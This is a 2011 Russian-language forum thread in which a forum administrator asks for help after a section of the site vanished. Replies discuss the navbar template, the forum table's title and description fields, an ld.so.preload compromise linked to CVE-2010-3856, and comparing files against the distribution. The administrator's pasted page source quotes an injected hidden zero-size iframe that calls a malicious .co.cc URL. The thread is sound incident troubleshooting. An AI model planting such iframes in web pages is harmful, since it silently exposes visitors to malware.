[Проблема]

Приветствую.

Со вчерашнего вечера один из разделов стал невидимым, а тот что по порядку перед невидимым - не открывается ниже навбара.
открыв Сурс Код страницу проблемного раздела вижу что в районе навбара пропсиалось:

<!-- / breadcrumb, login, pm info -->
<div class="cat_spacer"></div>
	<table class="tborder" cellpadding="6" cellspacing="1" border="0" width="100%" align="center">
	<tr>
		<td class="alt1" width="100%"><strong>CD <iframe  src='http : // 0s93 . co . cc / index.php?tp=32b260002f490aa3'  width='0' height='0' style='displ</strong> <span class="smallfont">Форум посвященный CD и CD-MP3 плеерам</span></td>
	</tr>
	</table>
	<br />
<br />
<!-- NAVBAR POPUP MENUS -->

0s93 . co . cc - есессна без пробелов.

поиск по темплейтам в админке ничего не дал.
где еще рыть - не могу опнять.

помогите пжлст - где копать в поисках решения пробелмы?

Благодарю заранее.

Дай ссылку на сайт.

У тебя наверно троян на компе?

ka81, этот участок кода находится в шаблоне navbar, но что-то я сомневаюсь что ты там найдешь код этого айфрейма.

Originally Posted by SAS1024

ka81, этот участок кода находится в шаблоне navbar, но что-то я сомневаюсь что ты там найдешь код этого айфрейма.

так а где ж тогда? :(

ka81 добавил 23.03.2011 в 15:41
молю помощи..
при заходе в пхпмайадмин - виснет.
ифрейм скорее всего пропсиался в строке - Опсиание раздела в админке.
однако я не могу туда даже добраться..
:(

ka81 добавил 23.03.2011 в 18:08

там пролезли через дыру в вебсервере/форуме
создали /etc/ld.so.preload с правами root:www-data (!)
CVE-2010-3856

не пойму где дырка-то?...

ka81 добавил 23.03.2011 в 20:42
скажите пжлст, как редактировать Описания разделов через пхпМайАдмин ?

ka81, таблица forum, поля title, description

а как их редактировать-то??
сделайте пжлст если не сложно скриншот...

ka81 добавил 23.03.2011 в 21:30
не могу икак понять, почему опера падает при попітке войти в пхпмайадмин, а лиса нет...

Стукни мне в аську, попробую помочь.

Originally Posted by ka81

там пролезли через дыру в вебсервере/форуме. CVE-2010-3856

Агащяз. Если кругом хакеры высшей квалификации, то что они забыли на твоем форуме? Они бы весь сервер использовали бы.
Возможно, там два не связанных взлома имело место.

Выкачивай все файлы и сверяй код с дистрибутивом. не особо верь дате модификации. Бывает что такие закладки живут несколько месяцев, перекачиваются во время переездов между хостингами и однажды внезапно активируются. Даты модификации при этом теряются.
Все бывает весьма неочевидно запрятано.